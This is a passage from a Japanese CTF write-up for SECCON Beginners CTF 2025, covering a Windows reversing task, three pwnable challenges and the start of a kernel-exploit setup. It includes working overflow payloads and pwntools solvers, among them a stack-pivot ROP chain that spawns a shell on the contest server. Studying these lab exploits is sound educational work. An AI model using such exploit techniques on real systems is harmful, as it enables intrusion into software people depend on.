*((_DWORD *)pwStr + 2) == '=\0B' && *((_DWORD *)pwStr + 3) == '1' ) { qwValueToXor2 = *(_QWORD *)pwStr << 8; pLdrDataTableEntry_MayBeKernelBaseDll = (LDR_DATA_TABLE_ENTRY *__shifted(LDR_DATA_TABLE_ENTRY,0x10))NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink->Flink; qwValueToXor1 = qwValueToXor2 ^ ((*(_QWORD *)ADJ(pLdrDataTableEntry_MayBeKernelBaseDll)->BaseDllName.Buffer | 0x20002000200020LL) << 8); pLdrDataTableEntry_MayBeKernel32Dll = (LDR_DATA_TABLE_ENTRY *__shifted(LDR_DATA_TABLE_ENTRY,0x10))ADJ(pLdrDataTableEntry_MayBeKernelBaseDll)->InMemoryOrderLinks.Flink; qwValueToXor2 = (*(_QWORD *)ADJ(pLdrDataTableEntry_MayBeKernel32Dll)->BaseDllName.Buffer + qwValueToXor1) | 0x20002000200020LL; pImageDosHeader = (IMAGE_DOS_HEADER *)ADJ(pLdrDataTableEntry_MayBeKernel32Dll)->DllBase; pImageExportDirectory = (IMAGE_EXPORT_DIRECTORY *)((char *)pImageDosHeader + *(unsigned int *)((char *)&pImageDosHeader[2].e_cparhdr// OptionalHeader.DataDirectory[0].VirtualAddressです。一旦IMAGE_NT_HEADERS*にして調べました。 + (unsigned int)pImageDosHeader->e_lfanew)); qwRvaAddressOfNames = (char *)pImageDosHeader + pImageExportDirectory->AddressOfNames; *(_QWORD *)&byteEncryptedMessageSize32[16] = 0x2A087D454E564005LL; for ( i = 0; ; ++i ) { pStrFuncName1 = (_DWORD *)((char *)&pImageDosHeader->e_magic + *(unsigned int *)&qwRvaAddressOfNames[4 * i]); if ( *pStrFuncName1 == 'SteG' && pStrFuncName1[1] == 'aHdt' && pStrFuncName1[2] == 'eldn' ) break; } LOWORD(i) = *(WORD *)((char *)&pImageDosHeader->e_magic + 2 * i + pImageExportDirectory->AddressOfNameOrdinals);// 同一変数名を使いまわしてordinal値へ変換 hStdOut = (HANDLE)((__int64 (__fastcall *)(MACRO_STD))((char *)pImageDosHeader + *(unsigned int *)((char *)&pImageDosHeader->e_magic + 4 * i + pImageExportDirectory->AddressOfFunctions)))(STD_OUTPUT_HANDLE);// GetStdHandle呼び出しまでまとめて行っている *(_QWORD *)byteEncryptedMessageSize32 = 0x6B09591014035908LL; for ( j = 0; ; ++j ) { pStrFuncName2 = (_DWORD *)((char *)&pImageDosHeader->e_magic + *(unsigned int *)((char *)&pImageDosHeader->e_magic + 4 * j + pImageExportDirectory->AddressOfNames)); if ( *pStrFuncName2 == 'tirW' && pStrFuncName2[1] == 'noCe' && pStrFuncName2[2] == 'elos' ) break; } LOWORD(j) = *(WORD *)((char *)&pImageDosHeader->e_magic + 2 * j + pImageExportDirectory->AddressOfNameOrdinals);// 同一変数名を使いまわしてordinal値へ変換 *(_QWORD *)&byteEncryptedMessageSize32[8] = 0x681C13044E56721FLL; fpWriteConsole = (BOOL (*)(HANDLE, const void *, DWORD, LPDWORD, LPVOID))((char *)pImageDosHeader + *(unsigned int *)((char *)&pImageDosHeader->e_magic + 4 * j + pImageExportDirectory->AddressOfFunctions)); for ( k = 0; k != 4; ++k ) *(_QWORD *)&byteEncryptedMessageSize32[8 * k] ^= qwValueToXor2; fpWriteConsole(hStdOut, byteEncryptedMessageSize32, 32, 0, 0); return 0; } } return 0; }
(wchar_t *)NtCurrentPeb()->ProcessParameters->Environmentを取得して、UTF-16LEでCTF4B=1文字列を検索していそうなことが分かります。PEB構造体からPRTL_USER_PROCESS_PARAMETERS ProcessParametersメンバーのドキュメント、RTL_USER_PROCESS_PARAMETERS構造体のドキュメントを読んでもEnvironmentメンバーの記述はありません。Reserved系メンバーの何処かに埋もれているようです。ただEnvironmentメンバーという名前から、環境変数を検索しているらしいと推測しました。
コンテスト中はif内部のコードが複雑だったので全然読んでいませんでした。本記事執筆中に頑張って型付けしたので解説します。
- Windowsでは各プロセス中に
PEB構造体があります。64-bitプロセスではmov rax, gs:60hでPEB構造体のアドレスを取得できます。IDAの逆コンパイラではその箇所をNtCurrentPeb()と表現します。- なお、Microsoft社の
PEB構造体ドキュメントでは、Reserved扱いでドキュメント化されていないメンバーが多いです。一方でWinDbgの!pebコマンドのドキュメントでは完全なメンバーの記述があったりします。
- なお、Microsoft社の
NtCurrentPeb()->Ldr->InMemoryOrderModuleListを使って、現在プロセスに読み込まれているモジュール(=DLL)一覧をたどります。InMemoryOrderModuleListメンバーはPEB_LDR_DATA構造体のポインター型です。その中のLIST_ENTRY構造体による双方向連結リストをたどることで、モジュール一覧をたどれます。ただLIST_ENTRY構造体の双方向連結リストはLIST_ENTRYメンバーを指しており、リスト内容のLDR_DATA_TABLE_ENTRY構造体の先頭アドレスではありません。この辺りはややこしいので別文献をご参照ください。例えばRhadamanthys | OALABS Researchによる記事が参考になると思います。- IDAの場合、__shifted機能を使えば適切に逆コンパイルできます。記事では32-bitバイナリであるため、
offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)はPVOID[2]が間にあるため4*2の8がシフト幅です。今回の問題では64-bitバイナリであるため、シフト幅は0x10です。
- IDAの場合、__shifted機能を使えば適切に逆コンパイルできます。記事では32-bitバイナリであるため、
- 今回は双方向連結リストをたどり切ることはせず、リストの2要素目、3要素目のみを使用しています。最近のWindows環境では、
PEB_LDR_DATA::InMemoryOrderModuleListおよびLDR_DATA_TABLE_ENTRY::InMemoryOrderLinksを辿って得られるモジュール順は先頭から実行EXE、ntdll.dll、Kernel32.dllで固定のようです(Is KERNEL32.DLL always the 3rd module loaded into a windows process? - Stack Overflow)
- おそらく
ntdll.dllとKernel32.dllのDLL名から、BaseDllName.Bufferのwchar_t*メンバーを使ってXOR用の値を作ります。0x20002000200020をBitOrしているのは、ファイル名のASCII大文字箇所を小文字へ変換するためのものです。Windowsのファイル名はcase-insensitiveでブレがありえますが、小文字に統一することでブレを排除できます。- 実質的に固定値をXOR用の値にしています。
- おそらく
Kernel32.dllから、DllBaseを取得してモジュールの開始アドレスを取得します。一般的にはHMODULE型で表現されることが多いものですが、実際はIMAGE_DOS_HEADER*です。IMAGE_DOS_HEADER構造体のドキュメントが普段のlearn.microsoft.comサイトに見つからなかったので、代わりにRust言語の方の型定義を紹介します。- PE形式の解説はMicrosoft社のPE Formatドキュメントが詳しいです。
- PEデータ構造を辿って、
Kernel32.dllのエクスポート関数一覧を辿って、目的のGetStdHandle関数とWriteConsole関数を取得します。- PEデータ構造からエクスポート関数を取得する手順は、PE ファイルについて (7) - エクスポート編 - 鷲ノ巣等をご参照ください。
- XORで文字列を復号して、コンソールへ出力します。
条件を満たして実行した結果とフラグ
全体として、環境変数さえ設定していれば何かが表示されるようです。コンテスト中では、とりあえず動作確認しようとしました:
- WindowsSandboxの仮想環境で、PowerShellを起動します。
Set-ExecutionPolicy RemoteSignedを実行して、ps1ファイルをPowerShellから実行できるようにします。$env:CTF4B=1を指定して、目的の環境変数を設定します。- 満を持して
ps_z.ps1を実行します。
PS C:\Users\WDAGUtilityAccount\Desktop> Set-ExecutionPolicy RemoteSigned
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:\Users\WDAGUtilityAccount\Desktop> $env:CTF4B=1
PS C:\Users\WDAGUtilityAccount\Desktop> .\ps_z.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
PS C:\Users\WDAGUtilityAccount\Desktop>
フラグを入手できました: ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
コンテスト開始直後に本問題に取り組んでいました。1st-bloodを取れました!

[pwnable, beginner] pet_name (586 teams solves, 100 points)
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。 nc pet-name.challenges.beginners.seccon.jp 9080
配布ファイルとして、問題本体のchallや元ソースのmain.cなどがありました:
$ find . -type f -print0 | xargs -0 file ./build/chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=582050b0b44dab77f1974ae31b51a0a7ef404dfa, for GNU/Linux 3.2.0, not stripped ./build/docker-compose.yml: ASCII text ./build/Dockerfile: ASCII text ./build/flag.txt: ASCII text, with no line terminators ./build/init.sh: Bourne-Again shell script, ASCII text executable ./build/pet_sound.txt: ASCII text, with no line terminators ./build/pwn.xinetd: ASCII text ./build/redir.sh: POSIX shell script, ASCII text executable ./chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=582050b0b44dab77f1974ae31b51a0a7ef404dfa, for GNU/Linux 3.2.0, not stripped ./main.c: C source, ASCII text $
main.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void init() { // You don't need to read this because it's just initialization setbuf(stdout, NULL); setbuf(stdin, NULL); } int main() { init(); char pet_name[32] = {0}; char path[128] = "/home/pwn/pet_sound.txt"; printf("Your pet name?: "); scanf("%s", pet_name); FILE *fp = fopen(path, "r"); if (fp) { char buf[256] = {0}; if (fgets(buf, sizeof(buf), fp) != NULL) { printf("%s sound: %s\n", pet_name, buf); } else { puts("Failed to read the file."); } fclose(fp); } else { printf("File not found: %s\n", path); } return 0; }
ペットの名前を入力すると、path変数が表すファイルを読み込んで、ペット名とファイル内容を出力する内容です。脆弱性として、scanf関数に文字数指定のない書式指定子%sを指定しているため、Out-of-Bounds Writeが発生します。適当に長い文字列を入力してみました:
$ ./chall Your pet name?: 1234567890123456789012345678901234567890123456789012345678901234 File not found: 34567890123456789012345678901234 $
path変数の内容を上書きできていて、開くファイルを制御できそうです!
IDAでローカル変数のレイアウトを調べると、次の内容でした:
-00000000000001B8 FILE *fp; -00000000000001B0 char pet_name[32]; -0000000000000190 char path[128]; -0000000000000110 char buf[264]; -0000000000000008 _QWORD qwCanary; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address;
pet_nameの直後にpath変数が存在することが理由でした。
後は、問題文記載のフラグファイルのパスになるようにpath変数の内容を上書きしました:
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
フラグを入手できました: ctf4b{3xp1oit_pet_n4me!}
[pwnable, easy] pet_sound (410 teams solves, 100 points)
ペットに鳴き声を教えましょう。 nc pet-sound.challenges.beginners.seccon.jp 9090
配布ファイルとして、問題本体のchallや元ソースのmain.cがありました:
$ file * chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b44722880e4bcdd32b041ab7cd46dea9a7e53a6e, for GNU/Linux 3.2.0, not stripped main.c: C source, ASCII text $
main.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct Pet; void speak_flag(struct Pet *p); void speak_sound(struct Pet *p); void visualize_heap(struct Pet *a, struct Pet *b); struct Pet { void (*speak)(struct Pet *p); char sound[32]; }; int main() { struct Pet *pet_A, *pet_B; setbuf(stdout, NULL); setbuf(stdin, NULL); puts("--- Pet Hijacking ---"); puts("Your mission: Make Pet speak the secret FLAG!\n"); printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag); pet_A = malloc(sizeof(struct Pet)); pet_B = malloc(sizeof(struct Pet)); pet_A->speak = speak_sound; strcpy(pet_A->sound, "wan..."); pet_B->speak = speak_sound; strcpy(pet_B->sound, "wan..."); printf("[*] Pet A is allocated at: %p\n", pet_A); printf("[*] Pet B is allocated at: %p\n", pet_B); puts("\n[Initial Heap State]"); visualize_heap(pet_A, pet_B); printf("\n"); printf("Input a new cry for Pet A > "); read(0, pet_A->sound, 0x32); puts("\n[Heap State After Input]"); visualize_heap(pet_A, pet_B); pet_A->speak(pet_A); pet_B->speak(pet_B); free(pet_A); free(pet_B); return 0; } void speak_flag(struct Pet *p) { char flag[64] = {0}; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { puts("\nPet seems to want to say something, but can't find 'flag.txt'..."); return; } fgets(flag, sizeof(flag), f); fclose(f); flag[strcspn(flag, "\n")] = '\0'; puts("\n**********************************************"); puts("* Pet suddenly starts speaking flag.txt...!? *"); printf("* Pet: \"%s\" *\n", flag); puts("**********************************************"); exit(0); } void speak_sound(struct Pet *p) { printf("Pet says: %s\n", p->sound); } void visualize_heap(struct Pet *a, struct Pet *b) { unsigned long long *ptr = (unsigned long long *)a; puts("\n--- Heap Layout Visualization ---"); for (int i = 0; i < 12; i++, ptr++) { printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr); if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak"); if (ptr == (unsigned long long *)a->sound) printf(" <-- pet_A->sound"); if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)"); if (ptr == (unsigned long long *)b->sound) printf(" <-- pet_B->sound"); puts(""); } puts("---------------------------------"); }
challの実行例です:
$ ./chall --- Pet Hijacking --- Your mission: Make Pet speak the secret FLAG! [hint] The secret action 'speak_flag' is at: 0x5affb6656492 [*] Pet A is allocated at: 0x5affe321f2a0 [*] Pet B is allocated at: 0x5affe321f2d0 [Initial Heap State] --- Heap Layout Visualization --- 0x00005affe321f2a0: 0x00005affb66565d2 <-- pet_A->speak 0x00005affe321f2a8: 0x00002e2e2e6e6177 <-- pet_A->sound 0x00005affe321f2b0: 0x0000000000000000 0x00005affe321f2b8: 0x0000000000000000 0x00005affe321f2c0: 0x0000000000000000 0x00005affe321f2c8: 0x0000000000000031 0x00005affe321f2d0: 0x00005affb66565d2 <-- pet_B->speak (TARGET!) 0x00005affe321f2d8: 0x00002e2e2e6e6177 <-- pet_B->sound 0x00005affe321f2e0: 0x0000000000000000 0x00005affe321f2e8: 0x0000000000000000 0x00005affe321f2f0: 0x0000000000000000 0x00005affe321f2f8: 0x0000000000020d11 --------------------------------- Input a new cry for Pet A > SPEAK! [Heap State After Input] --- Heap Layout Visualization --- 0x00005affe321f2a0: 0x00005affb66565d2 <-- pet_A->speak 0x00005affe321f2a8: 0x000a214b41455053 <-- pet_A->sound 0x00005affe321f2b0: 0x0000000000000000 0x00005affe321f2b8: 0x0000000000000000 0x00005affe321f2c0: 0x0000000000000000 0x00005affe321f2c8: 0x0000000000000031 0x00005affe321f2d0: 0x00005affb66565d2 <-- pet_B->speak (TARGET!) 0x00005affe321f2d8: 0x00002e2e2e6e6177 <-- pet_B->sound 0x00005affe321f2e0: 0x0000000000000000 0x00005affe321f2e8: 0x0000000000000000 0x00005affe321f2f0: 0x0000000000000000 0x00005affe321f2f8: 0x0000000000020d11 --------------------------------- Pet says: SPEAK! Pet says: wan...
malloc関数で確保したpet_A, pet_Bの内容を、入力前後それぞれで表示してくれます。
脆弱性として、struct Petのサイズが8 + 32の40バイトであるところ、read(0, pet_A->sound, 0x32);箇所で50バイト書き込んでいるため、Out-of-Bounds Writeが発生します。今回はpet_B->speakをspeak_flag関数のアドレスへ書き換えてやると、フラグを取得できそうです。
ここで、challバイナリのセキュリティ機構を確認します。私はpwntoolsライブラリ同梱のchecksecコマンドを使っています:
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pet_sound/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
ここでPIE enabledとあることから、challバイナリを実行するたびに異なるアドレスへ配置されることが分かります。すなわちspeak_flag関数のアドレスも実行ごとに変化します。
しかしヒープ状態表示の中に、speak_sound関数のアドレスが含まれています。PIEが有効であっても、「バイナリの先頭から、各種関数までのオフセット」は固定であることから、speak_sound関数のアドレスが分かればバイナリの先頭アドレスが分かり、speak_flag関数のアドレスも分かります。各種関数のオフセットは、pwntoolsライブラリのELF型を使うと簡単に取得できます(より厳密には、PIE有効の場合は初期段階ではオフセットを取得でき、.address属性を設定した後は絶対アドレスを取得できます)。
サーバーへ接続し、受信内容をプログラム的に解釈したり、プログラムの処理結果を送信したりする場合は、pwntoolsライブラリが便利です。実装したソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("chall", checksec=False) pwn.context.binary = elf # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): line = io.recvline_contains(b"pet_A->speak").decode() addr_speak_sound = int(line.split(": ")[1].split(" <-- ")[0], 0) print(f"{hex(addr_speak_sound) = }") elf.address = addr_speak_sound - elf.symbols["speak_sound"] print(f"{hex(elf.address) = }") addr_speak_flag = elf.symbols["speak_flag"] print(f"{hex(addr_speak_flag) = }") payload = pwn.flat([b"A" * 40, addr_speak_flag]) io.sendafter(b"Input a new cry for Pet A > ", payload) io.stream(line_mode=False) # fmt: off GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop breakrva 0x146E continue """ # with pwn.gdb.debug(elf.path, GDBSCRIPT) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("pet-sound.challenges.beginners.seccon.jp", 9090) as io: solve(io)
実行しました:
$ ./solve.py
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
hex(addr_speak_sound) = '0x5e95946815d2'
hex(elf.address) = '0x5e9594680000'
hex(addr_speak_flag) = '0x5e9594681492'
[Heap State After Input]
--- Heap Layout Visualization ---
0x00005e95b7cd12a0: 0x00005e95946815d2 <-- pet_A->speak
0x00005e95b7cd12a8: 0x4141414141414141 <-- pet_A->sound
0x00005e95b7cd12b0: 0x4141414141414141
0x00005e95b7cd12b8: 0x4141414141414141
0x00005e95b7cd12c0: 0x4141414141414141
0x00005e95b7cd12c8: 0x4141414141414141
0x00005e95b7cd12d0: 0x00005e9594681492 <-- pet_B->speak (TARGET!)
0x00005e95b7cd12d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005e95b7cd12e0: 0x0000000000000000
0x00005e95b7cd12e8: 0x0000000000000000
0x00005e95b7cd12f0: 0x0000000000000000
0x00005e95b7cd12f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92\x14h\x94\x95^
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Closed connection to pet-sound.challenges.beginners.seccon.jp port 9090
$
フラグを入手できました: ctf4b{y0u_expl0it_0v3rfl0w!}
[pwnable, medium] pivot4b (117 teams solves, 394 points)
スタックはあなたが創り出すものです。 nc pivot4b.challenges.beginners.seccon.jp 12300
配布ファイルとして、問題本体のchallと、元ソースのsrc.c等がありました:
$ file *
Dockerfile: ASCII text
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0598af017300c098e014eeb5b501d9cc5c598e76, for GNU/Linux 4.4.0, not stripped
docker-compose.yml: ASCII text
src.c: C source, ASCII text
$ pwn checksec ./chall
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
$
src.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void gift_set_first_arg() { asm volatile("pop %rdi"); asm volatile("ret"); } void gift_call_system() { system("echo \"Here's your gift!\""); } int main() { char message[0x30]; printf("Welcome to the pivot game!\n"); printf("Here's the pointer to message: %p\n", message); printf("> "); read(0, message, sizeof(message) + 0x10); printf("Message: %s\n", message); return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
ROPガジェットと呼ばれるpop rdi; ret命令や、system関数を使う関数が存在します。また、スタック中のmessage変数のアドレスも出力してくれます。
脆弱性として、char message[0x30]に対してread(0, message, sizeof(message) + 0x10);しており、0x10バイト分だけOut-of-Bounds Writeが発生します。その超過分は、saved rbpと、関数の戻りアドレスです。IDAでローカル変数のレイアウトを確認することでも分かります:
-0000000000000030 char message[48]; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address;
さて、main関数のアセンブリレベルでの最後はleave; retnの2命令です:
$ objdump -d chall 略 0000000000401195 <main>: 略 401211: c9 leave 401212: c3 ret 略
このうちleave命令は、LEAVE — High Level Procedure Exitにある通り、実質的にmov rsp, rbp; pop rbp;の2命令を順に行う命令です。
Out-of-Bounds Writeでmain関数の戻りアドレスをleave; ret箇所アドレス0x401211に設定すると、次の動作になります:
- 本来の
0x401211のleave:leave中のmov rsp, rbp相当処理により、rspレジスタがmain関数当初の値に復元されます。leave中のpop rbp相当処理により、rbpレジスタの値が設定されます。スタックのsaved rbp箇所から読み込む動作であり、Out-of-Bounds Writeで任意アドレスに設定できます。
- 本来の
0x401212のret:- スタックの戻りアドレスへ制御が移ります。Out-of-Bounds Writeで任意値に設定できます。今回の例では
0x401211に制御が移ります。
- スタックの戻りアドレスへ制御が移ります。Out-of-Bounds Writeで任意値に設定できます。今回の例では
- 制御を移した後の
0x401211のleave:leave中のmov rsp, rbp相当処理によりrspレジスタを、Out-of-Bounds Writeで任意アドレスに設定したrbpレジスタ内容に設定できます。leave中のpop rbp相当処理により、設定した任意アドレスからpopすることになります。このときでも任意の値が設定できます(ただし今回は使いません)。このとき、rspレジスタの値は+8されます。
- 制御を移した後の
0x401212のret:- 「設定した任意アドレス + 8」の内容のアドレスへ制御が移ります!
この問題では、messageローカル変数のアドレスが与えられているため、「設定した任意アドレス + 8」がmessageローカル変数のアドレスとなるようにすると、message内容でROP(Return-Oriented Programming)を続行できます。また、messageローカル変数への読み込みにはread関数が使われているため、NUL文字や改行文字を含む任意バイトを使えます。
messageローカル変数の本来の0x30バイト内容に次のROPガジェットを仕込んでおくと、最終的にシェルを起動できます。
[0x00, 0x08)バイト目:pop rdi; retのROPガジェットのアドレス。[0x08, 0x10)バイト目:messageローカル変数+0x20のアドレス。ここに"/bin/sh\x00"文字列を設定します。[0x10, 0x18)バイト目:retのROPガジェットのアドレス。スタックのアライメント調整用です。- x86 psABIs / x86-64 psABI · GitLabからダウンロードできる
System V Application Binary Interface資料の3.2.2 The Stack Frameにthe stack needs to be 16 (32 or 64) byte aligned immediately before the call instruction is executed.とあり、関数呼び出し直前にスタックのアライメントを揃えることが要求されています。なお32バイトまたは64バイトのアライメントが必要になるのは__m256型または__m512型を引数に渡す場合に限定されるため、通常の関数では16バイトアライメントが必要になります。 system関数含めていくつかの関数では、スタックのアライメントが沿っていない場合はSIMD関係の命令実行時でSIGSEGVシグナルが発生してプロセスが終了してしまいます。これを避ける必要があります。
- x86 psABIs / x86-64 psABI · GitLabからダウンロードできる
[0x18, 0x20)バイト目:call system箇所のアドレス。[0x20, 0x30)バイト目: (使いません。なんでもいいです。)
なおROPの実装時は、GDBでのデバッグ実行や、GDBのstepiコマンドでの1命令ずつの実行確認を特にやりたくなります。pwntoolsライブラリのgdb.debug関数を使うと、challプロセスそのものとの入出力はprocessやremote関数と共通にしつつGDBでのデバッグ実行ができるので非常に便利です。
最終的なソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("chall", checksec=False) pwn.context.binary = elf pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): SIZE_MAX_PAYLOAD = 64 io.recvuntil(b"Here's the pointer to message: ") addr_message = int(io.recvline().decode(), 0) print(f"{hex(addr_message)}") rop_pop_rdi = 0x40117A rop_leave = 0x401211 rop_ret = 0x401212 addr_call_system = 0x40118D # message先頭に含ませて、stack pivot後にROPさせる用途 payload_core = pwn.flat( [ rop_pop_rdi, addr_message + 0x20, rop_ret, # system関数呼び出し時のstackの0x10アライメント調整用 addr_call_system, b"/bin/sh\x00", ] ) # message変数箇所へpivot payload = pwn.flat( [ payload_core.ljust(48, b"A"), # message # ↓saved rbp。ROP時のleaveは「mov rsp, rbp; pop rbp」相当なので、「pop rbp」に合わせて-8が必要 addr_message - 8, rop_leave, ] ) assert len(payload) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload) io.interactive() # fmt: off GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop # ↓mainのret break *0x401212 # ↓call system箇所 break *0x40118D continue """ # with pwn.gdb.debug(elf.path, GDBSCRIPT) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("pivot4b.challenges.beginners.seccon.jp", 12300) as io: solve(io)
実行しました:
$ ./solve.py
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
0x7ffe12ad8210
[*] Switching to interactive mode
Message: z\x11@
$ ls
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag*
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
$
[*] Closed connection to pivot4b.challenges.beginners.seccon.jp port 12300
フラグを入手できました: ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
[pwnable, hard] TimeOfControl (15 teams solves, 499 points)
カーネルの世界に足を踏み入れてみませんか? nc timeofcontrol.challenges.beginners.seccon.jp 9004
配布ファイルとして各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./README.md: Unicode text, UTF-8 text ./src/bzImage: Linux kernel x86 boot executable bzImage, version 6.12.27 (kuonruri@ruri) #2 SMP PREEMPT_DYNAMIC Fri Jul 11 06:58:03 UTC 2025, RO-rootFS, swap_dev 0X6, Normal VGA ./src/ctf4b.c: C source, ASCII text ./src/ctf4b.h: C source, ASCII text ./src/ctf4b.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=77dc1103ec97312a5ca0b9816eaf067324e43c5f, not stripped ./src/docker-compose.yml: ASCII text ./src/Dockerfile: ASCII text ./src/rootfs.cpio: ASCII cpio archive (SVR4 with no CRC) ./src/run.sh: POSIX shell script, ASCII text executable ./template/exploit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ./template/exploit.c: C source, ASCII text ./template/Makefile: makefile script, ASCII text, with very long lines (305) ./template/sender.py: Python script, ASCII text executable $
README.mdやtemplate内容が、懇切丁寧で至れり尽くせりですごかったです!
さて、問題文の通り本問題はLinuxカーネルエクスプロイトの問題です。私は以前、TsukuCTF 2025のeasy_kernel問題でもカーネルエクスプロイト問題に取り組みまして、その時のwrite-upに色々メモしています。そのため環境セットアップ等はそちらをご覧いただくと参考になるかもしれません。というより、私自身がその記事を見ながら色々思い出していました。
環境構築、動作検証
実行確認、init内容編集検証
src/run.shを実行すると、数秒後にQEMU中でLinuxが起動しました:
Starting network: udhcpc: started, v1.37.0 udhcpc: broadcasting discover udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2 udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400 deleting routers adding dns 10.0.2.3 OK [ Time Of Control - Beginners CTF 2025 ] ~ $ uname -a Linux ctf4b 6.12.27 #2 SMP PREEMPT_DYNAMIC Fri Jul 11 06:58:03 UTC 2025 x86_64 GNU/Linux ~ $ id uid=1337 gid=1337 groups=1337 ~ $
src/run.shで、seqmu-system-x86_64コマンドのオプションに-initrd rootfs.cpioを指定しています。rootfs.cpioファイル内容が起動するLinuxのファイルシステムとなるようなので、README.md記述のコマンドsudo rm -rf ./ext; mkdir ext; cd ext; sudo cpio -idv < ../rootfs.cpio; cd ../で展開しました。
展開したファイルシステムで、今回の問題固有の設定をしている初期設定ファイルを探しました。バナー文字列でgrepしました:
$ grep -r 'Beginners CTF 2025' etc/init.d/S99ctf:echo "[ Time Of Control - Beginners CTF 2025 ]" etc/issue:Welcome to SECCON Beginners CTF 2025 grep: root/ctf4b.ko: binary file matches $
ファイルシステム中のetc/init.d/S99ctfファイルが見つかりました。当該ファイル内容は次のものでした:
#!/bin/sh busybox --install -s /bin mdev -s mount -t proc none /proc stty -opost echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/vm/unprivileged_userfaultfd insmod /root/ctf4b.ko mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0 echo "[ Time Of Control - Beginners CTF 2025 ]" setsid cttyhack setuidgid 1337 sh #setsid cttyhack setuidgid 0 sh umount /proc poweroff -d 0 -f
色々設定してから、uid 1337でシェルを起動しているようです。試しにコメントアウトされているuid 0でのシェル起動側を有効にして、README.md記載のsudo find . -print0 | sudo cpio -o --format=newc --null > ../rootfs.cpioでrootfs.cpioを更新してrun.shを実行し直すと、無事にroot権限でシェルが起動しました!同様にファイルを編集すれば、ローカル動作検証のための設定変更等ができそうです。
その他初期設定
以前の記事同様にLinuxカーネルをカーネルデバッグできるよう、run.shのqemu-system-x86_64コマンドの引数へ-gdb tcp::12345追加しました。loglevel=3オプションは今回は最初からrun.shで指定されています。
以前の記事ではmusl-gccをインストールしました。今回の環境は同一の環境を利用しているため新規インストールは不要です。今回のエクスプロイトのリンクでもmusl-gccを利用します。
今回の問題設定の把握
エクスプロイト開発やカーネルデバッグ手順を整えたので、脆弱性を探していきます。
カーネル保護設定の確認
今回の問題での、カーネルの各種保護設定を確認しました(以前の記事の状況と同様だったので、コピペして持ってきました):
- SMEP: 無効
